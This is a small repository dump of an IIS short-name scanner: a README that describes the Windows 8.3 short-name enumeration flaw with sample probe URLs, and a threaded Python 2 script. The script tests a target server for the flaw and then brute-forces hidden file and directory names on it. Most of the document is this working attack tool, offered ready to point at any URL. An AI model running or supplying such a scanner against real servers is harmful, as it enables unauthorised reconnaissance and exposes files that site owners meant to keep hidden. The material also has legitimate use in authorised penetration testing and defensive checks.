├── .gitattributes ├── .gitignore ├── README.md └── iis_shortname_Scan.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # ========================= 18 | # Operating System Files 19 | # ========================= 20 | 21 | # OSX 22 | # ========================= 23 | 24 | .DS_Store 25 | .AppleDouble 26 | .LSOverride 27 | 28 | # Icon must ends with two \r. 29 | Icon 30 | # Thumbnails 31 | ._* 32 | 33 | # Files that might appear on external disk 34 | .Spotlight-V100 35 | .Trashes 36 | 37 | 38 | *.py[co] 39 | .idea/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IIS shortname Scanner # 2 | 3 | Under certern circumstances, windows 8.3 short names may be bruteforce enumerated under IIS with .net enabled, 4 | 5 | request these two urls: 6 | 7 | * http://www.target.com/*~1****/a.aspx 8 | 9 | * http://www.target.com/l1j1e*~1****/a.aspx 10 | 11 | If the first one return HTTP 404 and the second one return no 404. Your server might be exploitable to this vulnerability. 12 | 13 | ## Change Log (Oct 27, 2016) 14 | * Bug fixed: extention short than 4 letters like ```/webdeb~1.cs``` now could be enumerated 15 | * Code reconstruction 16 | 17 | ## Usage 18 | 19 | ``` 20 | iis_shortname_Scan.py target 21 | ``` 22 | 23 | 24 | from [http://www.lijiejie.com](http://www.lijiejie.com) my[at]lijiejie.com 25 | -------------------------------------------------------------------------------- /iis_shortname_Scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding:utf-8 3 | # An IIS short_name scanner my[at]lijiejie.com http://www.lijiejie.com 4 | 5 | 6 | import sys 7 | import httplib 8 | import urlparse 9 | import threading 10 | import Queue 11 | import time 12 | 13 | 14 | class Scanner(): 15 | def __init__(self, target): 16 | self.target = target.lower() 17 | if not self.target.startswith('http'): 18 | self.target = 'http://%s' % self.target 19 | self.scheme, self.netloc, self.path, params, query, fragment = \ 20 | urlparse.urlparse(target) 21 | if self.path[-1:] != '/': # ends with slash 22 | self.path += '/' 23 | self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-' 24 | self.files = [] 25 | self.dirs = [] 26 | self.queue = Queue.Queue() 27 | self.lock = threading.Lock() 28 | self.threads = [] 29 | self.request_method = '' 30 | self.msg_queue = Queue.Queue() 31 | self.STOP_ME = False 32 | threading.Thread(target=self._print).start() 33 | 34 | def _conn(self): 35 | try: 36 | if self.scheme == 'https': 37 | conn = httplib.HTTPSConnection(self.netloc) 38 | else: 39 | conn = httplib.HTTPConnection(self.netloc) 40 | return conn 41 | except Exception, e: 42 | print '[_conn.Exception]', e 43 | return None 44 | 45 | def _get_status(self, path): 46 | try: 47 | conn = self._conn() 48 | conn.request(self.request_method, path) 49 | status = conn.getresponse().status 50 | conn.close() 51 | return status 52 | except Exception, e: 53 | raise Exception('[_get_status.Exception] %s' % str(e) ) 54 | 55 | def is_vul(self): 56 | try: 57 | for _method in ['GET', 'OPTIONS']: 58 | self.request_method = _method 59 | status_1 = self._get_status(self.path + '/*~1*/a.aspx') # an existed file/folder 60 | status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx') # not existed file/folder 61 | if status_1 == 404 and status_2 != 404: 62 | return True 63 | return False 64 | except Exception, e: 65 | raise Exception('[is_vul.Exception] %s' % str(e) ) 66 | 67 | def run(self): 68 | for c in self.alphanum: 69 | self.queue.put( (self.path + c, '.*') ) # filename, extension 70 | for i in range(20): 71 | t = threading.Thread(target=self._scan_worker) 72 | self.threads.append(t) 73 | t.start() 74 | for t in self.threads: 75 | t.join() 76 | self.STOP_ME = True 77 | 78 | def report(self): 79 | print '-'* 64 80 | for d in self.dirs: 81 | print 'Dir: %s' % d 82 | for f in self.files: 83 | print 'File: %s' % f 84 | print '-'*64 85 | print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files)) 86 | print 'Note that * is a wildcard, matches any character zero or more times.' 87 | 88 | def _print(self): 89 | while not self.STOP_ME or (not self.msg_queue.empty()): 90 | if self.msg_queue.empty(): 91 | time.sleep(0.05) 92 | else: 93 | print self.msg_queue.get() 94 | 95 | def _scan_worker(self): 96 | while True: 97 | try: 98 | url, ext = self.queue.get(timeout=1.0) 99 | status = self._get_status(url + '*~1' + ext + '/1.aspx') 100 | if status == 404: 101 | self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext)) 102 | 103 | if len(url) - len(self.path)< 6: # enum first 6 chars only 104 | for c in self.alphanum: 105 | self.queue.put( (url + c, ext) ) 106 | else: 107 | if ext == '.*': 108 | self.queue.put( (url, '') ) 109 | 110 | if ext == '': 111 | self.dirs.append(url + '~1') 112 | self.msg_queue.put('[+] Directory ' + url + '~1\t[Done]') 113 | 114 | elif len(ext) == 5 or (not ext.endswith('*')): # .asp* 115 | self.files.append(url + '~1' + ext) 116 | self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]') 117 | 118 | else: 119 | for c in 'abcdefghijklmnopqrstuvwxyz0123456789': 120 | self.queue.put( (url, ext[:-1] + c + '*') ) 121 | if len(ext) < 4: # < len('.as*') 122 | self.queue.put( (url, ext[:-1] + c) ) 123 | 124 | except Queue.Empty,e: 125 | break 126 | except Exception, e: 127 | print '[Exception]', e 128 | 129 | 130 | if __name__ == '__main__': 131 | if len(sys.argv) == 1: 132 | print 'Usage: python IIS_shortname_Scan.py http://www.target.com/' 133 | sys.exit() 134 | 135 | target = sys.argv[1] 136 | s = Scanner(target) 137 | if not s.is_vul(): 138 | s.STOP_ME = True 139 | print 'Server is not vulnerable' 140 | sys.exit(0) 141 | 142 | print 'Server is vulnerable, please wait, scanning...' 143 | s.run() 144 | s.report() 145 | --------------------------------------------------------------------------------